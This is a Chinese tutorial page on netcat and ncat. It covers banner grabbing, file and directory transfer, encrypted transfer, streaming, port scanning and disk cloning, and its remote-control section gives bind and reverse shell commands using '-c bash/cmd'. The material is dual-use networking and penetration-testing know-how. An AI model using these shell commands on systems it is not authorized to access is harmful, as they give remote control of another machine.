1. NC

1.1概述

1.1.1 优点:

1)网络工具中的瑞士军刀

2)侦听模式/传输模式。

3)可代替telnet获取banner信息。

4)传输文件/目录。

5)传输文本信息。

6)加密传输文件。

7)远控/木马。

8)加密所有流量。

9)充当流媒体服务器。

10)远程克隆硬盘(电子取证)。

1.1.2 缺点:

1)缺乏加密和身份验证能力。

2)NCAT可弥补NC的不足。

3)不同平台/系统的NC参数不尽相同。

1.2 基本参数

-h :获取帮助。

-v :显示详细信息。

-n :不进行DNS解析IP。

-l :侦听端口。

-p :指定端口。

-q :执行完成关闭连接。

-z :只扫描,不进行交互。

-c :指定shell。

1.3 用法

1.3.1 Telnet获取banner信息

命令:nc -nv <IP> <端口>

1.3.2 传输文本

服务端命令:nc -lp <IP> <端口>

客户端命令:nc -nv <IP> <端口>

1.3.3 电子取证(不做修改的信息收集)

客户端命令:收集指令 | nc -nv <IP> <端口>  注:-q表示完成后n秒断开连接

服务端命令:nc -lp <IP> <端口>  注:当收集大量信息时可用>或>>保存至文件。

1.3.4    文件传输

正向:客户端向服务端传输文件。

服务端命令: nc -lp <端口> > 文件

客户端命令: nc -nv <IP> <端口> < 文件

反向:客户端从服务端接收文件。

服务端命令: nc -lp <端口> < 文件

客户端命令: nc -nv <IP> > 文件

1.3.5    目录传输

反向:客户端从服务端接收目录。

服务端命令: tar -cvf – 目录 | nc -lp <端口>

客户端命令: nc -nv <IP> 端口 | tar -xvf -

正向:客户端向服务端传输目录。

服务端命令: nc -lp <端口> | tar -xvf -

客户端命令:tar -cvf – 目录 | nc -nv <IP> 端口

1.3.6    加密传输

正向:客户端向服务端加密传输文件。

服务端命令:nc -lp 端口 | mycrypt –flush -Fbqd -a rijndael-256 -m ecb > 文件

客户端命令:mycrypt –flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -nv <IP> 端口

反向:客户端从服务端加密接收目录。

服务端命令: mcrypt –flush -Fbq -a -rijndael-256 -m ecb < 文件| nc -lp <端口>

客户端命令:nc -nv <IP> 端口 | mcrypt –flush -Fqbd -a rijndael-256 -m ecb >文件

1.3.7    视频流传输

服务端命令:cat 流媒体文件| nc -lp 端口

客户端命令:nc -nv <IP> 端口 | mplayer -V0 -x11 -cache 3000 -

1.3.8    端口扫描

探测TCP端口(默认):nc -nvz 端口段

探测UDP端口(有bug):nc -nvzu 端口段

1.3.9    硬盘克隆

块级别备份,电子取证远程复制内存或硬盘。

客户端命令:dd if =/dev/sda | nc -nv <IP> 端口

服务端命令:nc -lp 端口 | dd of=/dev/sdb

1.3.10       远程控制

正向:客户端控制服务端。

服务端命令: nc -lp 端口 -c bash/cmd

客户端命令:nc -nv <IP> 端口

反向:服务端控制客户端。

服务端命令: nc -lp 端口

客户端命令:nc -nv <IP> 端口 -c bash/cmd

1.3.11       通过NCAT实现传输加密

Ncat为Nmap套件之一,为nc的增强版。

简单举例,也可以双向。

客户端命令:ncat -nv 192.168.114.132 1111 --ssl

服务端命令:ncat -c bsh –allow <源IP> -vnl 端口 –ssl

NC使用技巧的更多相关文章

  1. NC 工具的使用教程

    NC工具的使用说明...nc使用说明 参数介绍: nc.exe -h即可看到各参数的使用方法. 基本格式:nc [-options] hostname port[s] [ports] ... nc - ...

  2. netcat 工具传输文件

    因为电脑本地是 windows,多台机器间以 windows 为中介传输文件极度不爽.window 下的 MobaXterm 工具不能使用 sz 和 rz 命令, 而 SecureCRT 工具使用体验 ...

  3. Apache 中 .htaccess 文件设置技巧16则

    .htaccess 文件 (Hypertext Access file) 是Apache Web服务器的一个非常强大的配置文件,对于这个文件,Apache有一堆参数可以让你配置出几乎随心所欲的功能.. ...

  4. Linux shell用法和技巧(转)

    原文出处: techbar   译文出处: 外刊IT评论 使用Linux shell是我每天的基本工作,但我经常会忘记一些有用的shell命令和技巧.当然,命令我能记住,但我不敢说能记得如何用它执行某 ...

  5. 每个极客都应该知道的Linux技巧

    每个极客都应该知道的Linux技巧 2014/03/07 | 分类: IT技术 | 0 条评论 | 标签: LINUX 分享到:18 本文由 伯乐在线 - 欣仔 翻译自 TuxRadar Linux. ...

  6. 18个有用的 .htaccess 文件使用技巧

    .htaccess 是 Web 服务器 Apache 中特有的一个配置文件,操控着服务器上的许多行为,我们可以利用它来做许多事情,例如:设置访问权限,网址重定向,等等.本文向大家展示18条 .htac ...

  7. Linux中shell命令的用法和技巧

    使用Linux shell是我每天的基本工作,但我经常会忘记一些有用的shell命令和l技巧.当然,命令我能记住,但我不敢说能记得如何用它执行某个特定任务.于是,我开始在一个文本文件里记录这些用法,并 ...

  8. 最佳vim技巧

    最佳vim技巧----------------------------------------# 信息来源----------------------------------------www.vim ...

  9. 【Linux学习笔记】用nc实现两台主机间的文件传输(不需要输密码)

    通常,可以用scp完成两台主机间的文件传输任务,但在主机间未建立信任关系的情况下,scp每次都需要输入密码,用起来感觉不是很方便,之前这篇笔记介绍过不用输入密码执行脚本或传输文件的方法,但对于一些临时 ...

随机推荐

  1. P2085 最小函数值(minval)

    题目描述 有n个函数,分别为F1,F2,...,Fn.定义Fi(x)=Aix^2+Bix+Ci (x∈N*).给定这些Ai.Bi和Ci,请求出所有函数的所有函数值中最小的m个(如有重复的要输出多个). ...

  2. 小程序 - 图片列表显示lazyload效果

    在做一个短视频平台,涉及到的都是一些列表模块.因为小程序没有提供lazyload api,所以只能自己写一个了... 开发涉及 <scroll-view></scroll-view& ...

  3. join......on 后面的and 和where的区别

    a.where 是在两个表join完成后,再附上where条件. b. and 则是在表连接前过滤A表或B表里面哪些记录符合连接条件,同时会兼顾是left join还是right join.即 假如是 ...

  4. Qt删除文件夹

    写的软件需要进行文件夹的复制,开始不怎么懂就找了个拷贝文件夹的代码测试了一下,运行程序选择了源目录和目标目录相同进行拷贝,结果悲剧了.因为是递归拷贝,导致文件夹被嵌套N层,软件死机,强制结束后,产生的 ...

  5. VBA注意事项

    以下是项目过程中遇到的坑,可能有些说明的部分不一定严谨,仅供参考 1.最好保存成 [*.xlsm]文件 2.注意 VBA 的参数类型,使用的参数如果未声明直接使用的话会出现类型不匹配的错误 3.代码写 ...

  6. js中top、clientTop、scrollTop、offsetTop的区别 文字详细说明版

    网页可见区域宽: document.body.clientWidth;网页可见区域高: document.body.clientHeight;网页可见区域宽: document.body.offset ...

  7. May 16th 2017 Week 20th Tuesday

    The most fearful enemy is not having a firm conviction. 最可怕的敌人,就是没有坚强的信念. A firm conviction or belie ...

  8. 使用jvisualvm.exe工具查看java项目内存溢出(堆溢出)

    在查看内存溢出的时候,我们需要明白,堆溢出和持久代溢出,他们不一样,说到内存泄漏,我们就需要明白,内存中  年老代和新生代,和持久代,这3块的数据 自己的理解: new了一个对象,会进入到堆里面,先放 ...

  9. BZOJ1718:[USACO]Redundant Paths 分离的路径(双连通分量)

    Description In order to get from one of the F (1 <= F <= 5,000) grazing fields (which are numb ...

  10. 再回首数据结构—AVL树(一)

    前面所讲的二叉搜索树有个比较严重致命的问题就是极端情况下当数据以排序好的顺序创建搜索树此时二叉搜索树将退化为链表结构因此性能也大幅度下降,因此为了解决此问题我们下面要介绍的与二叉搜索树非常类似的结构就 ...